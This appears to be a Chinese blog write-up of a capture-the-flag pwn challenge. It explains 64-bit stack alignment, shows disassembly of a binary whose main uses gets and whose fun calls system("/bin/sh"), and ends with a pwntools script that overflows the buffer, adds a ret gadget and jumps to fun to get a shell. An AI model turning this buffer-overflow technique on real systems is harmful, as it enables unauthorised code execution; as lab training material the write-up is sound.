PWN 64位打不通,堆栈平衡
PWN 64位打不通,堆栈平衡
关于64位程序堆栈平衡的处理
堆栈平衡:
当我们在堆栈中进行堆栈的操作的时候,
一定要保证在ret这条指令之前,esp指向的是我们压入栈中的地址,
函数执行到ret执行之前,堆栈栈顶的地址 一定要是call指令的下一个地址。
含义就是 当函数在一步步执行的时候 一直到ret执行之前,堆栈栈顶的地址 一定要是call指令的下一个地址。
也就是说函数执行前一直到函数执行结束,函数里面的堆栈是要保持不变的。
如果堆栈变化了,那么,要在ret执行前将堆栈恢复成原来的样子。
.text:0000000000401142 ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:0000000000401142 public main
.text:0000000000401142 main proc near ; DATA XREF: _start+1D↑o
.text:0000000000401142
.text:0000000000401142 s = byte ptr -0Fh
.text:0000000000401142
.text:0000000000401142 ; __unwind {
.text:0000000000401142 push rbp
.text:0000000000401143 mov rbp, rsp
.text:0000000000401146 sub rsp, 10h
.text:000000000040114A lea rdi, s ; "please input"
.text:0000000000401151 call _puts
.text:0000000000401156 lea rax, [rbp+s]
.text:000000000040115A mov rdi, rax
.text:000000000040115D mov eax, 0
.text:0000000000401162 call _gets
.text:0000000000401167 lea rax, [rbp+s]
.text:000000000040116B mov rdi, rax ; s
.text:000000000040116E call _puts
.text:0000000000401173 lea rdi, aOkBye ; "ok,bye!!!"
.text:000000000040117A call _puts
.text:000000000040117F mov eax, 0
.text:0000000000401184 leave
.text:0000000000401185 retn
.text:0000000000401185 ; } // starts at 401142
.text:0000000000401185 main endp
.text:0000000000401185
.text:0000000000401186
.text:0000000000401186 ; =============== S U B R O U T I N E =======================================
.text:0000000000401186
.text:0000000000401186 ; Attributes: bp-based frame
.text:0000000000401186
.text:0000000000401186 ; int fun()
.text:0000000000401186 public fun
.text:0000000000401186 fun proc near
.text:0000000000401186 ; __unwind {
.text:0000000000401186 push rbp
.text:0000000000401187 mov rbp, rsp
.text:000000000040118A lea rdi, command ; "/bin/sh"
.text:0000000000401191 call _system
.text:0000000000401196 nop
.text:0000000000401197 pop rbp
.text:0000000000401198 retn
.text:0000000000401198 ; } // starts at 401186
.text:0000000000401198 fun endp
.text:0000000000401198
.text:0000000000401198 ; ---------------------------------------------------------------------------
可以选择任意一个ret
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
io = process("./pwn1")
# io = remote("node5.buuoj.cn", 26657)
context(arch="amd64", os="linux")
print(io.recvline())
padding = 0xF + 8
fun_addr = 0x0000000000401186
ret_addr = 0x401198
# 搜索之后发现64位系统中,需要地址对齐之后才可以执行system。这里需要在fun函数的地址之前加一个retn的地址
payload = b'a'*padding + p64(ret_addr) + p64(fun_addr)
io.sendline(payload)
io.interactive()
本文由作者按照 CC BY 4.0 进行授权